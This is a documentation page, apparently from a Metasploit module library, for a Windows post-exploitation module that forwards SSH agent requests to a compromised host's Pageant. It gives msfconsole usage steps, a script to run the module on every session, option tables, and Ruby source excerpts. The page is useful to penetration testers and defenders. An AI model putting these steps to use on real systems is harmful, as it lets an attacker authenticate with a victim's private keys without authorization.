Forward SSH Agent Requests To Remote Pageant - Metasploit


This page contains detailed information about how to use the post/windows/manage/forward_pageant metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: Forward SSH Agent Requests To Remote Pageant
Module: post/windows/manage/forward_pageant
Source code: modules/post/windows/manage/forward_pageant.rb
Disclosure date: -
Last modification time: 2021-10-06 13:43:31 +0000
Supported architecture(s): -
Supported platform(s): Windows
Target service / protocol: -
Target network port(s): -
List of CVEs: -

This module forwards SSH agent requests from a local socket to a remote Pageant instance. If a target Windows machine is compromised and is running Pageant, this will allow the attacker to run normal OpenSSH commands (e.g. ssh-add -l) against the Pageant host which are tunneled through the meterpreter session. This could therefore be used to authenticate with a remote host using a private key which is loaded into a remote user's Pageant instance, without ever having knowledge of the private key itself. Note that this requires the PageantJacker meterpreter extension, but this will be automatically loaded into the remote meterpreter session by this module if it is not already loaded.

Module Ranking and Traits


Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage


There are two ways to execute this post module.

From the Meterpreter prompt

The first is by using the "run" command at the Meterpreter prompt. It allows you to run the post module against that specific session:

meterpreter > run post/windows/manage/forward_pageant

From the msf prompt

The second is by using the "use" command at the msf prompt. You will have to figure out which session ID to set manually. To list all session IDs, you can use the "sessions" command.

msf > use post/windows/manage/forward_pageant
msf post(forward_pageant) > show options
    ... show and set options ...
msf post(forward_pageant) > set SESSION session-id
msf post(forward_pageant) > exploit

If you wish to run the post against all sessions from framework, here is how:

1 - Create the following resource script:


framework.sessions.each_pair do |sid, session|
  run_single("use post/windows/manage/forward_pageant")
  run_single("set SESSION #{sid}")
  run_single("run")
end

2 - At the msf prompt, execute the above resource script:

msf > resource path-to-resource-script

Required Options


  • SESSION: The session to run this module on.

Go back to menu.

Msfconsole Usage


Here is how the windows/manage/forward_pageant post exploitation module looks in the msfconsole:

msf6 > use post/windows/manage/forward_pageant

msf6 post(windows/manage/forward_pageant) > show info

       Name: Forward SSH Agent Requests To Remote Pageant
     Module: post/windows/manage/forward_pageant
   Platform: Windows
       Arch: 
       Rank: Normal

Provided by:
  Stuart Morgan <[email protected]>
  Ben Campbell <[email protected]>

Compatible session types:
  Meterpreter

Basic options:
  Name        Current Setting  Required  Description
  ----        ---------------  --------  -----------
  SESSION                      yes       The session to run this module on.
  SocketPath                   no        Specify a filename for the local UNIX socket.

Description:
  This module forwards SSH agent requests from a local socket to a 
  remote Pageant instance. If a target Windows machine is compromised 
  and is running Pageant, this will allow the attacker to run normal 
  OpenSSH commands (e.g. ssh-add -l) against the Pageant host which 
  are tunneled through the meterpreter session. This could therefore 
  be used to authenticate with a remote host using a private key which 
  is loaded into a remote user's Pageant instance, without ever having 
  knowledge of the private key itself. Note that this requires the 
  PageantJacker meterpreter extension, but this will be automatically 
  loaded into the remote meterpreter session by this module if it is 
  not already loaded.

Module Options


This is a complete list of options available in the windows/manage/forward_pageant post exploitation module:

msf6 post(windows/manage/forward_pageant) > show options

Module options (post/windows/manage/forward_pageant):

   Name        Current Setting  Required  Description
   ----        ---------------  --------  -----------
   SESSION                      yes       The session to run this module on.
   SocketPath                   no        Specify a filename for the local UNIX socket.

Advanced Options


Here is a complete list of advanced options supported by the windows/manage/forward_pageant post exploitation module:

msf6 post(windows/manage/forward_pageant) > show advanced

Module advanced options (post/windows/manage/forward_pageant):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   VERBOSE    false            no        Enable detailed status messages
   WORKSPACE                   no        Specify the workspace for this module

Post Actions


This is a list of all post exploitation actions which the windows/manage/forward_pageant module can do:

msf6 post(windows/manage/forward_pageant) > show actions

Post actions:

   Name  Description
   ----  -----------

Evasion Options


Here is the full list of possible evasion options supported by the windows/manage/forward_pageant post exploitation module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 post(windows/manage/forward_pageant) > show evasion

Module evasion options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

Go back to menu.

Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

This module is only available in a windows meterpreter session.


Here is a relevant code snippet related to the "This module is only available in a windows meterpreter session." error message:

44:	    unless session.extapi
45:	      vprint_status("Loading extapi extension...")
46:	      begin
47:	        session.core.use("extapi")
48:	      rescue Errno::ENOENT
49:	        print_error("This module is only available in a windows meterpreter session.")
50:	        return
51:	      end
52:	    end
53:	  end
54:	

This module is only supported on a Metasploit installation that supports UNIX sockets.


Here is a relevant code snippet related to the "This module is only supported on a Metasploit installation that supports UNIX sockets." error message:

55:	  def run
56:	    # Check to ensure that UNIX sockets are supported
57:	    begin
58:	      ::UNIXServer
59:	    rescue NameError
60:	      print_error("This module is only supported on a Metasploit installation that supports UNIX sockets.")
61:	      return false
62:	    end
63:	
64:	    # Get the socket path from the user supplied options (or leave it blank to get the plugin to choose one)
65:	    if datastore['SocketPath']

Your requested socket (<SOCKPATH>) already exists. Remove it or choose another path and try again.


Here is a relevant code snippet related to the "Your requested socket (<SOCKPATH>) already exists. Remove it or choose another path and try again." error message:

68:	      @sockpath = "#{::Dir::Tmpname.tmpdir}/#{::Dir::Tmpname.make_tmpname('pageantjacker', 5)}"
69:	    end
70:	
71:	    # Quit if the file exists, so that we don't accidentally overwrite something important on the host system
72:	    if ::File.exist?(@sockpath)
73:	      print_error("Your requested socket (#{@sockpath}) already exists. Remove it or choose another path and try again.")
74:	      return false
75:	    end
76:	
77:	    # Open the socket and start listening on it. Essentially now forward traffic between us and the remote Pageant instance.
78:	    ::UNIXServer.open(@sockpath) do |serv|

PageantJacker: Response received (Success='<RESPONSE:SUCCESS>' Size='<VALUE>' Error='<VALUE>')


Here is a relevant code snippet related to the "PageantJacker: Response received (Success='<RESPONSE:SUCCESS>' Size='<VALUE>' Error='<VALUE>')" error message:

92:	            begin
93:	              s.send response[:blob], 0
94:	            rescue
95:	              break
96:	            end
97:	            vprint_status("PageantJacker: Response received (Success='#{response[:success]}' Size='#{response[:blob].size}' Error='#{translate_error(response[:error])}')")
98:	          else
99:	            print_error("PageantJacker: Unsuccessful response received (#{translate_error(response[:error])})")
100:	          end
101:	        end
102:	      end

PageantJacker: Unsuccessful response received (<VALUE>)


Here is a relevant code snippet related to the "PageantJacker: Unsuccessful response received (<VALUE>)" error message:

94:	            rescue
95:	              break
96:	            end
97:	            vprint_status("PageantJacker: Response received (Success='#{response[:success]}' Size='#{response[:blob].size}' Error='#{translate_error(response[:error])}')")
98:	          else
99:	            print_error("PageantJacker: Unsuccessful response received (#{translate_error(response[:error])})")
100:	          end
101:	        end
102:	      end
103:	    end
104:	  end

No error


Here is a relevant code snippet related to the "No error" error message:

110:	
111:	  def translate_error(errnum)
112:	    errstring = "#{errnum}: "
113:	    case errnum
114:	    when 0
115:	      errstring += "No error"
116:	    when 1
117:	      errstring += "The Pageant request was not processed."
118:	    when 2
119:	      errstring += "Unable to obtain IPC memory address."
120:	    when 3

Unable to obtain IPC memory address.


Here is a relevant code snippet related to the "Unable to obtain IPC memory address." error message:

114:	    when 0
115:	      errstring += "No error"
116:	    when 1
117:	      errstring += "The Pageant request was not processed."
118:	    when 2
119:	      errstring += "Unable to obtain IPC memory address."
120:	    when 3
121:	      errstring += "Unable to allocate memory for Pageant<-->Meterpreter IPC."
122:	    when 4
123:	      errstring += "Unable to allocate memory buffer."
124:	    when 5

Unable to allocate memory for Pageant<-->Meterpreter IPC.


Here is a relevant code snippet related to the "Unable to allocate memory for Pageant<-->Meterpreter IPC." error message:

116:	    when 1
117:	      errstring += "The Pageant request was not processed."
118:	    when 2
119:	      errstring += "Unable to obtain IPC memory address."
120:	    when 3
121:	      errstring += "Unable to allocate memory for Pageant<-->Meterpreter IPC."
122:	    when 4
123:	      errstring += "Unable to allocate memory buffer."
124:	    when 5
125:	      errstring += "Unable to build Pageant request string."
126:	    when 6

Unable to allocate memory buffer.


Here is a relevant code snippet related to the "Unable to allocate memory buffer." error message:

118:	    when 2
119:	      errstring += "Unable to obtain IPC memory address."
120:	    when 3
121:	      errstring += "Unable to allocate memory for Pageant<-->Meterpreter IPC."
122:	    when 4
123:	      errstring += "Unable to allocate memory buffer."
124:	    when 5
125:	      errstring += "Unable to build Pageant request string."
126:	    when 6
127:	      errstring += "Pageant not found."
128:	    when 7

Unable to build Pageant request string.


Here is a relevant code snippet related to the "Unable to build Pageant request string." error message:

120:	    when 3
121:	      errstring += "Unable to allocate memory for Pageant<-->Meterpreter IPC."
122:	    when 4
123:	      errstring += "Unable to allocate memory buffer."
124:	    when 5
125:	      errstring += "Unable to build Pageant request string."
126:	    when 6
127:	      errstring += "Pageant not found."
128:	    when 7
129:	      errstring += "Not forwarded."
130:	    else

Go back to menu.


Go back to menu.

See Also


Check also the following modules related to this module:

Authors


  • Stuart Morgan <stuart.morgan[at]mwrinfosecurity.com>
  • Ben Campbell

Version


This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.